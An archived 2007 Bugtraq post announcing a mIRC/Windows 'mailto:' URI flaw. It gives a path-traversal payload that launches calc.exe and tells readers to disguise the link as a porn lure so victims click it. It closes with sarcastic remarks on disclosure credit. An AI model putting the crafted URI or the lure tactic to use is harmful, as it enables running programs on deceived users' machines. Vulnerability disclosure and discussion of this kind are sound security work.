[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    0day: mIRC pwns Windows
From:       jinc4fareijj () hotmail ! com
Date:       2007-10-03 16:06:29
Message-ID: 20071003160629.13184.qmail () securityfocus ! com
[Download RAW message or body]

Yipiya Ypipiya yah yeah. Here is a 0day! hurra mIRC pwns your Windozes! (ref. pdp)

send this to a user and make him double click on it (masquerade it with pink \
fore/background color and say 'free pr0n click here ->' it works all the time! damned \
perverts): mailto:%xx../../../../../../../../../../../windows/system32/calc.exe".bat

Now the question is, should we say *0day* for a bug in a core element that is WELL \
KNOWN by everyone (reported months ago), and will be patched, or should we try to get \
credits for finding a *vector* as pdp did with the supposed *acrobat reader pdf bug* \
?

Fame kills bugs.


[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic